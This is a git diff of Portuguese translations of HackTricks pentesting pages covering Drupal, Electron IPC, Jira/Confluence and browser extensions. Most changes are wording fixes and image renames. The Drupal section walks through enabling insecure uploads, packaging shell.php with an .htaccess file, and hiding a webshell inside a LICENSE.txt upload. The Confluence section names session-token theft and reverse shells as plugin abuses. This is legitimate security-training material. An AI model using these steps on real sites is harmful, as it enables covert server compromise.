 * Baixe o arquivo e extraia seu conteúdo.
 ```
@@ -75,7 +75,7 @@ RewriteEngine On
 RewriteBase /
 </IfModule>
 ```
-* A configuração acima aplicará regras para a pasta / quando solicitarmos um arquivo em /modules. Copie ambos os arquivos para a pasta captcha e crie um arquivo compactado.
+* A configuração acima aplicará regras para a pasta / quando solicitarmos um arquivo em /modules. Copie ambos os arquivos para a pasta captcha e crie um arquivo.
 ```bash
 mv shell.php .htaccess captcha
 tar cvf captcha.tar.gz captcha/
@@ -93,13 +93,13 @@ No menu _Estender_ (/admin/modules), você pode ativar o que parecem ser plugins
 
 Antes da ativação:
 
-<figure><img src="../../../.gitbook/assets/image (4).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (4) (1).png" alt=""><figcaption></figcaption></figure>
 
 Após a ativação:
 
-<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
-<figure><img src="../../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 ### Parte 2 (aproveitando o recurso _Sincronização de Configuração_) <a href="#part-2-leveraging-feature-configuration-synchronization" id="part-2-leveraging-feature-configuration-synchronization"></a>
 
@@ -110,7 +110,7 @@ Vamos aproveitar o recurso _Sincronização de Configuração_ para despejar (ex
 
 **Patch system.file.yml**
 
-Vamos começar patchando a primeira entrada `allow_insecure_uploads` de:
+Vamos começar fazendo patch na primeira entrada `allow_insecure_uploads` de:
 
 Arquivo: system.file.yml
 ```
@@ -122,7 +122,7 @@ allow_insecure_uploads: false
 ...
 
 ```
-<figure><img src="../../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Para:
 
@@ -136,11 +136,11 @@ allow_insecure_uploads: true
 ...
 
 ```
-<figure><img src="../../../.gitbook/assets/image (4) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (4) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 **Patch field.field.media.document.field\_media\_document.yml**
 
-Em seguida, patch a segunda entrada `file_extensions` de: 
+Em seguida, aplique o patch na segunda entrada `file_extensions` de:
 
 Arquivo: field.field.media.document.field\_media\_document.yml
 ```
@@ -152,7 +152,7 @@ file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fod
 
 ...
 ```
-<figure><img src="../../../.gitbook/assets/image (5).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
 
 Para:
 
@@ -168,7 +168,7 @@ file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp od
 ```
 > Eu não uso isso neste post do blog, mas é importante notar que é possível definir a entrada `file_directory` de maneira arbitrária e que é vulnerável a um ataque de traversal de caminho (então podemos voltar dentro da árvore do sistema de arquivos do Drupal).
 
-<figure><img src="../../../.gitbook/assets/image (6).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (6) (1).png" alt=""><figcaption></figcaption></figure>
 
 ### Parte 3 (aproveitando o recurso _Adicionar Documento_) <a href="#part-3-leveraging-feature-add-document" id="part-3-leveraging-feature-add-document"></a>
 
@@ -200,7 +200,7 @@ Por que nomear nosso Webshell LICENSE.txt?
 
 Simplesmente porque se pegarmos o seguinte arquivo, por exemplo [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt) (que já está presente no núcleo do Drupal), temos um arquivo de 339 linhas e 17,6 KB de tamanho, que é perfeito para adicionar um pequeno trecho de código PHP no meio (já que o arquivo é grande o suficiente).
 
-<figure><img src="../../../.gitbook/assets/image (7).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (7) (1).png" alt=""><figcaption></figcaption></figure>
 
 Arquivo: LICENSE.txt corrigido
 ```txt
@@ -231,25 +231,25 @@ programs whose distribution conditions are different, write to the author
 ...
 
 ```
-#### **Parte 3.1 (carregar arquivo .htaccess)**
+#### **Parte 3.1 (upload arquivo .htaccess)**
 
-Primeiro, aproveitamos o recurso _Adicionar Documento_ (/media/add/document) para carregar nosso arquivo contendo as diretivas do Apache (.htaccess).
+Primeiro, aproveitamos o recurso _Adicionar Documento_ (/media/add/document) para fazer o upload do nosso arquivo contendo as diretivas do Apache (.htaccess).
 
-<figure><img src="../../../.gitbook/assets/image (8).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (8) (1).png" alt=""><figcaption></figcaption></figure>
 
-<figure><img src="../../../.gitbook/assets/image (9).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (9) (1).png" alt=""><figcaption></figcaption></figure>
 
-<figure><img src="../../../.gitbook/assets/image (10).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (10) (1).png" alt=""><figcaption></figcaption></figure>
 
-**Parte 3.2 (carregar arquivo LICENSE.txt)**
+**Parte 3.2 (upload arquivo LICENSE.txt)**
 
-Em seguida, aproveitamos novamente o recurso _Adicionar Documento_ (/media/add/document) para carregar um Webshell oculto dentro de um arquivo de licença.
+Em seguida, aproveitamos novamente o recurso _Adicionar Documento_ (/media/add/document) para fazer o upload de um Webshell oculto dentro de um arquivo de licença.
 
-<figure><img src="../../../.gitbook/assets/image (11).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (11) (1).png" alt=""><figcaption></figcaption></figure>
 
-<figure><img src="../../../.gitbook/assets/image (12).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (12) (1).png" alt=""><figcaption></figcaption></figure>
 
-<figure><img src="../../../.gitbook/assets/image (13).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (13) (1).png" alt=""><figcaption></figcaption></figure>
 
 ### Parte 4 (interação com o Webshell) <a href="#part-4-interaction-with-the-webshell" id="part-4-interaction-with-the-webshell"></a>
 
@@ -257,21 +257,21 @@ A última parte consiste em interagir com o Webshell.
 
 Como mostrado na captura de tela a seguir, se o cookie esperado pelo nosso Webshell não estiver definido, obtemos o resultado subsequente ao consultar o arquivo via um navegador Web.
 
-<figure><img src="../../../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
 
 Quando o atacante define o cookie, ele pode interagir com o Webshell e executar quaisquer comandos que desejar.
 
-<figure><img src="../../../.gitbook/assets/image (15).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (15) (1).png" alt=""><figcaption></figcaption></figure>
 
 E como você pode ver nos logs, parece que apenas um arquivo txt foi solicitado.
 
-<figure><img src="../../../.gitbook/assets/image (16).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (16) (1).png" alt=""><figcaption></figcaption></figure>
 
 Obrigado por dedicar seu tempo para ler este artigo, espero que ele ajude você a obter algumas shells.
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 

network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-ipc.md

@@ -1,8 +1,8 @@
 # Electron contextIsolation RCE via IPC
 
 {% hint style="success" %}
-Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Aprenda e pratique Hacking AWS:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Aprenda e pratique Hacking GCP: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
@@ -23,7 +23,7 @@ Se o script de preload expuser um endpoint IPC do arquivo main.js, o processo de
 
 Exemplo de [https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21](https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21) (você tem o exemplo completo de como o MS Teams estava abusando de XSS para RCE nesses slides, este é apenas um exemplo muito básico):
 
-<figure><img src="../../../.gitbook/assets/image (9) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (9) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 ## Exemplo 1
 
@@ -106,12 +106,12 @@ ipcRenderer.send(event, data);
 };
 ```
 {% hint style="success" %}
-Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Treinamento AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Treinamento GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Aprenda e pratique Hacking AWS:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Aprenda e pratique Hacking GCP: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
-<summary>Suporte ao HackTricks</summary>
+<summary>Supporte o HackTricks</summary>
 
 * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
 * **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**

network-services-pentesting/pentesting-web/jira.md

@@ -1,21 +1,21 @@
 # Jira & Confluence
 
 {% hint style="success" %}
-Aprenda e pratique Hacking AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
-Aprenda e pratique Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
 <summary>Support HackTricks</summary>
 
-* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
-* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>
 {% endhint %}
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Se você está interessado em **carreira de hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
 
@@ -112,7 +112,7 @@ public BodyType getBodyType() { return BodyType.NONE; }
 public OutputType getOutputType() { return OutputType.BLOCK; }
 }
 ```
-É possível observar que esses plugins podem ser vulneráveis a vulnerabilidades comuns da web, como XSS. Por exemplo, o exemplo anterior é vulnerável porque está refletindo dados fornecidos pelo usuário.&#x20;
+É possível observar que esses plugins podem ser vulneráveis a vulnerabilidades web comuns, como XSS. Por exemplo, o exemplo anterior é vulnerável porque reflete dados fornecidos pelo usuário.&#x20;
 
 Uma vez que um XSS é encontrado, no [**este repositório do github**](https://github.com/cyllective/XSS-Payloads/tree/main/Confluence) você pode encontrar alguns payloads para aumentar o impacto do XSS.
 
@@ -127,11 +127,11 @@ Estas são algumas das ações que um plugin malicioso poderia realizar:
 * **Roubar Tokens de Sessão**: Adicionar um endpoint que irá ecoar os cabeçalhos na resposta (com o cookie) e algum javascript que irá contatá-lo e vazar os cookies.
 * **Execução de Comandos**: Claro que é possível criar um plugin que executará código.
 * **Shell Reversa**: Ou obter uma shell reversa.
-* **Proxy DOM**: Se o confluence estiver dentro de uma rede privada, seria possível estabelecer uma conexão através do navegador de algum usuário com acesso a ele e, por exemplo, contatar o servidor executando comandos através dele.
+* **Proxy DOM**: Se o Confluence estiver dentro de uma rede privada, seria possível estabelecer uma conexão através do navegador de algum usuário com acesso a ele e, por exemplo, contatar o servidor executando comandos através dele.
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
-Se você está interessado em **carreira em hacking** e hackear o inhackeável - **estamos contratando!** (_fluente em polonês escrito e falado é necessário_).
+Se você está interessado em **carreira em hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
 
 {% embed url="https://www.stmcyber.com/careers" %}
 

pentesting-web/browser-extension-pentesting-methodology/README.md

@@ -17,13 +17,13 @@ Aprenda e pratique Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt=""
 
 ## Informações Básicas
 
-As extensões de navegador são escritas em JavaScript e carregadas pelo navegador em segundo plano. Elas têm seu [DOM](https://www.w3schools.com/js/js\_htmldom.asp) mas podem interagir com os DOMs de outros sites. Isso significa que podem comprometer a confidencialidade, integridade e disponibilidade (CIA) de outros sites.
+As extensões de navegador são escritas em JavaScript e carregadas pelo navegador em segundo plano. Elas têm seu [DOM](https://www.w3schools.com/js/js\_htmldom.asp), mas podem interagir com os DOMs de outros sites. Isso significa que podem comprometer a confidencialidade, integridade e disponibilidade (CIA) de outros sites.
 
 ## Componentes Principais
 
-Os layouts de extensão são melhor visualizados e consistem em três componentes. Vamos analisar cada componente em profundidade.
+Os layouts de extensão são mais bem visualizados e consistem em três componentes. Vamos analisar cada componente em profundidade.
 
-<figure><img src="../../.gitbook/assets/image (16) (1).png" alt=""><figcaption><p><a href="http://webblaze.cs.berkeley.edu/papers/Extensions.pdf">http://webblaze.cs.berkeley.edu/papers/Extensions.pdf</a></p></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (16) (1) (1).png" alt=""><figcaption><p><a href="http://webblaze.cs.berkeley.edu/papers/Extensions.pdf">http://webblaze.cs.berkeley.edu/papers/Extensions.pdf</a></p></figcaption></figure>
 
 ### **Scripts de Conteúdo**
 
@@ -31,11 +31,11 @@ Cada script de conteúdo tem acesso direto ao DOM de uma **única página da web
 
 ### **Núcleo da Extensão**
 
-O núcleo da extensão contém a maior parte dos privilégios/acessos da extensão, mas o núcleo da extensão só pode interagir com o conteúdo da web via [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) e scripts de conteúdo. Além disso, o núcleo da extensão não tem acesso direto à máquina host.
+O núcleo da extensão contém a maioria dos privilégios/acessos da extensão, mas o núcleo da extensão só pode interagir com o conteúdo da web via [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) e scripts de conteúdo. Além disso, o núcleo da extensão não tem acesso direto à máquina host.
 
 ### **Binário Nativo**
 
-A extensão permite um binário nativo que pode **acessar a máquina host com os privilégios totais do usuário.** O binário nativo interage com o núcleo da extensão através da Interface de Programação de Aplicativos de Plugin Netscape padrão ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) usada pelo Flash e outros plug-ins de navegador.
+A extensão permite um binário nativo que pode **acessar a máquina host com os privilégios totais do usuário.** O binário nativo interage com o núcleo da extensão através da interface de programação de aplicativos padrão do Netscape Plugin ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) usada pelo Flash e outros plug-ins de navegador.
 
 ### Limites
 
@@ -130,7 +130,7 @@ Após a exibição das ferramentas de desenvolvedor, a aba **Fonte** deve ser cl
 ### Scripts de conteúdo injetados
 
 {% hint style="success" %}
-Observe que **Scripts de Conteúdo não são obrigatórios** pois também é possível **injetar** scripts **dinamicamente** e **injetá-los programaticamente** em páginas da web via **`tabs.executeScript`**. Isso na verdade fornece mais **controles granulares**.
+Observe que **Scripts de Conteúdo não são obrigatórios** pois também é possível **injetar** scripts **dinamicamente** e **injetá-los programaticamente** em páginas da web via **`tabs.executeScript`**. Isso na verdade fornece **controles mais granulares**.
 {% endhint %}
 
 Para a injeção programática de um script de conteúdo, a extensão deve ter [permissões de host](https://developer.chrome.com/docs/extensions/reference/permissions) para a página na qual os scripts devem ser injetados. Essas permissões podem ser obtidas solicitando-as dentro do manifesto da extensão ou de forma temporária através de [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab).
@@ -332,10 +332,10 @@ Em extensões públicas, o **extension-id é acessível**:
 
 <figure><img src="../../.gitbook/assets/image (1194).png" alt="" width="375"><figcaption></figcaption></figure>
 
-Embora, se o parâmetro `manifest.json` **`use_dynamic_url`** for utilizado, este **id pode ser dinâmico**.
+No entanto, se o parâmetro `manifest.json` **`use_dynamic_url`** for utilizado, este **id pode ser dinâmico**.
 
 {% hint style="success" %}
-Observe que mesmo que uma página seja mencionada aqui, ela pode estar **protegida contra ClickJacking** graças à **Content Security Policy**. Portanto, você também precisa verificá-la (seção frame-ancestors) antes de confirmar que um ataque de ClickJacking é possível.
+Observe que, mesmo que uma página seja mencionada aqui, ela pode estar **protegida contra ClickJacking** graças à **Content Security Policy**. Portanto, você também precisa verificá-la (seção frame-ancestors) antes de confirmar que um ataque de ClickJacking é possível.
 {% endhint %}
 
 Ter acesso a essas páginas torna essas páginas **potencialmente vulneráveis a ClickJacking**:
@@ -351,15 +351,15 @@ Permitir que essas páginas sejam carregadas apenas pela extensão e não por UR
 {% hint style="danger" %}
 Observe que as páginas de **`web_accessible_resources`** e outras páginas da extensão também são capazes de **contatar scripts de fundo**. Portanto, se uma dessas páginas for vulnerável a **XSS**, isso poderia abrir uma vulnerabilidade maior.
 
-Além disso, note que você só pode abrir páginas indicadas em **`web_accessible_resources`** dentro de iframes, mas de uma nova aba é possível acessar qualquer página na extensão conhecendo o ID da extensão. Portanto, se um XSS for encontrado abusando dos mesmos parâmetros, ele poderia ser explorado mesmo que a página não esteja configurada em **`web_accessible_resources`**.
+Além disso, note que você só pode abrir páginas indicadas em **`web_accessible_resources`** dentro de iframes, mas a partir de uma nova aba é possível acessar qualquer página na extensão conhecendo o ID da extensão. Portanto, se um XSS for encontrado abusando dos mesmos parâmetros, ele poderia ser explorado mesmo que a página não esteja configurada em **`web_accessible_resources`**.
 {% endhint %}
 
 ### `externally_connectable`
 
-De acordo com a [**documentação**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable), a propriedade de manifesto `"externally_connectable"` declara **quais extensões e páginas da web podem se conectar** à sua extensão via [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) e [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage).
+De acordo com a [**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable), a propriedade de manifesto `"externally_connectable"` declara **quais extensões e páginas da web podem se conectar** à sua extensão via [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) e [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage).
 
 * Se a chave **`externally_connectable`** **não** for declarada no manifesto da sua extensão ou for declarada como **`"ids": ["*"]`**, **todas as extensões podem se conectar, mas nenhuma página da web pode se conectar**.
-* Se **IDs específicos forem especificados**, como em `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **apenas essas aplicações** podem se conectar.
+* Se **IDs específicos forem especificados**, como em `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **apenas esses aplicativos** podem se conectar.
 * Se **matches** forem especificados, esses aplicativos da web poderão se conectar:
 ```json
 "matches": [
@@ -382,13 +382,13 @@ Além disso, se o cliente instalar uma extensão maliciosa, mesmo que não seja
 
 ### Extensão <--> WebApp
 
-Para se comunicar entre o script de conteúdo e a página da web, mensagens postadas são geralmente usadas. Portanto, na aplicação web você geralmente encontrará chamadas para a função **`window.postMessage`** e, no script de conteúdo, ouvintes como **`window.addEventListener`**. Note, no entanto, que a extensão também pode **se comunicar com a aplicação web enviando uma Post Message** (e, portanto, a web deve esperar por isso) ou apenas fazer a web carregar um novo script.
+Para se comunicar entre o script de conteúdo e a página da web, mensagens postadas são geralmente usadas. Portanto, na aplicação web, você geralmente encontrará chamadas para a função **`window.postMessage`** e, no script de conteúdo, ouvintes como **`window.addEventListener`**. Note, no entanto, que a extensão também pode **se comunicar com a aplicação web enviando uma Post Message** (e, portanto, a web deve esperar por isso) ou apenas fazer a web carregar um novo script.
 
 ### Dentro da extensão
 
 Geralmente, a função **`chrome.runtime.sendMessage`** é usada para enviar uma mensagem dentro da extensão (geralmente tratada pelo script `background`) e, para recebê-la e manipulá-la, um ouvinte é declarado chamando **`chrome.runtime.onMessage.addListener`**.
 
-Também é possível usar **`chrome.runtime.connect()`** para ter uma conexão persistente em vez de enviar mensagens únicas, é possível usá-lo para **enviar** e **receber** **mensagens** como no seguinte exemplo:
+Também é possível usar **`chrome.runtime.connect()`** para ter uma conexão persistente em vez de enviar mensagens únicas; é possível usá-la para **enviar** e **receber** **mensagens** como no seguinte exemplo:
 
 <details>
 
@@ -500,7 +500,7 @@ Outra possível forma de comunicação pode ser através de **URLs de Iframe**,
 
 ### DOM
 
-Isso não é "exatamente" uma forma de comunicação, mas o **web e o script de conteúdo terão acesso ao DOM da web**. Portanto, se o **script de conteúdo** estiver lendo alguma informação dele, **confiando no DOM da web**, a web pode **modificar esses dados** (porque a web não deve ser confiável, ou porque a web é vulnerável a XSS) e **comprometer o Script de Conteúdo**.
+Isso não é "exatamente" uma forma de comunicação, mas o **web e o script de conteúdo terão acesso ao DOM da web**. Portanto, se o **script de conteúdo** estiver lendo alguma informação dele, **confiando no DOM da web**, a web poderia **modificar esses dados** (porque a web não deve ser confiável, ou porque a web é vulnerável a XSS) e **comprometer o Script de Conteúdo**.
 
 Você também pode encontrar um exemplo de um **XSS baseado em DOM para comprometer uma extensão de navegador** em:
 
@@ -532,7 +532,7 @@ const response = await chrome.tabs.sendMessage(tab.id, {greeting: "hello"});
 console.log(response);
 })();
 ```
-No **lado receptor**, você precisa configurar um [**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **ouvinte de eventos** para lidar com a mensagem. Isso parece o mesmo de um script de conteúdo ou página de extensão.
+No **lado receptor**, você precisa configurar um [**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **ouvinte de eventos** para lidar com a mensagem. Isso parece o mesmo a partir de um script de conteúdo ou página de extensão.
 ```javascript
 // From https://stackoverflow.com/questions/70406787/javascript-send-message-from-content-js-to-background-js
 chrome.runtime.onMessage.addListener(
@@ -549,7 +549,7 @@ No exemplo destacado, **`sendResponse()`** foi executado de forma síncrona. Par
 
 Uma consideração importante é que, em cenários onde várias páginas estão configuradas para receber eventos `onMessage`, **a primeira página a executar `sendResponse()`** para um evento específico será a única capaz de entregar a resposta efetivamente. Quaisquer respostas subsequentes para o mesmo evento não serão levadas em conta.
 
-Ao criar novas extensões, a preferência deve ser por promessas em vez de callbacks. Em relação ao uso de callbacks, a função `sendResponse()` é considerada válida apenas se for executada diretamente dentro do contexto síncrono, ou se o manipulador de eventos indicar uma operação assíncrona retornando `true`. Se nenhum dos manipuladores retornar `true` ou se a função `sendResponse()` for removida da memória (coletada pelo lixo), o callback associado à função `sendMessage()` será acionado por padrão.
+Ao criar novas extensões, a preferência deve ser por promessas em vez de callbacks. Em relação ao uso de callbacks, a função `sendResponse()` é considerada válida apenas se for executada diretamente dentro do contexto síncrono, ou se o manipulador de eventos indicar uma operação assíncrona retornando `true`. Se nenhum dos manipuladores retornar `true` ou se a função `sendResponse()` for removida da memória (coletada pelo garbage collector), o callback associado à função `sendMessage()` será acionado por padrão.
 
 ## Native Messaging
 
@@ -565,7 +565,7 @@ As extensões do navegador também permitem comunicar-se com **binários no sist
 ```
 Onde o `name` é a string passada para [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) ou [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) para se comunicar com o aplicativo a partir dos scripts de fundo da extensão do navegador. O `path` é o caminho para o binário, há apenas 1 `type` válido que é stdio (use stdin e stdout) e os `allowed_origins` indicam as extensões que podem acessá-lo (e não podem ter wildcard).
 
-O Chrome/Chromium irá procurar por este json em alguns registros do Windows e alguns caminhos no macOS e Linux (mais informações na [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)).
+Chrome/Chromium irá procurar por este json em alguns registros do Windows e alguns caminhos no macOS e Linux (mais informações na [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)).
 
 {% hint style="success" %}
 A extensão do navegador também precisa da permissão `nativeMessaing` declarada para poder usar essa comunicação.
@@ -667,20 +667,20 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt
 
 ## Lista de Verificação de Auditoria de Segurança
 
-Embora as Extensões de Navegador tenham uma **superfície de ataque limitada**, algumas delas podem conter **vulnerabilidades** ou **potenciais melhorias de endurecimento**. As seguintes são as mais comuns:
+Embora as Extensões de Navegador tenham uma **superfície de ataque limitada**, algumas delas podem conter **vulnerabilidades** ou **melhorias potenciais de endurecimento**. As seguintes são as mais comuns:
 
 * [ ] **Limitar** o máximo possível as **`permissões`** solicitadas
 * [ ] **Limitar** o máximo possível as **`host_permissions`**
-* [ ] Usar uma **política de segurança de conteúdo** **`strong`**
+* [ ] Usar uma **política de segurança de conteúdo** **`content_security_policy`** **forte**
 * [ ] **Limitar** o máximo possível o **`externally_connectable`**, se nenhum for necessário e possível, não deixá-lo por padrão, especificar **`{}`**
-* [ ] Se **URL vulnerável a XSS ou a takeover** for mencionada aqui, um atacante poderá **enviar mensagens para os scripts de fundo diretamente**. Um bypass muito poderoso.
+* [ ] Se **URL vulnerável a XSS ou a takeover** for mencionada aqui, um atacante poderá **enviar mensagens para os scripts de fundo diretamente**. Bypass muito poderoso.
 * [ ] **Limitar** o máximo possível os **`web_accessible_resources`**, mesmo vazios, se possível.
-* [ ] Se **`web_accessible_resources`** não for nenhum, verifique [**ClickJacking**](browext-clickjacking.md)
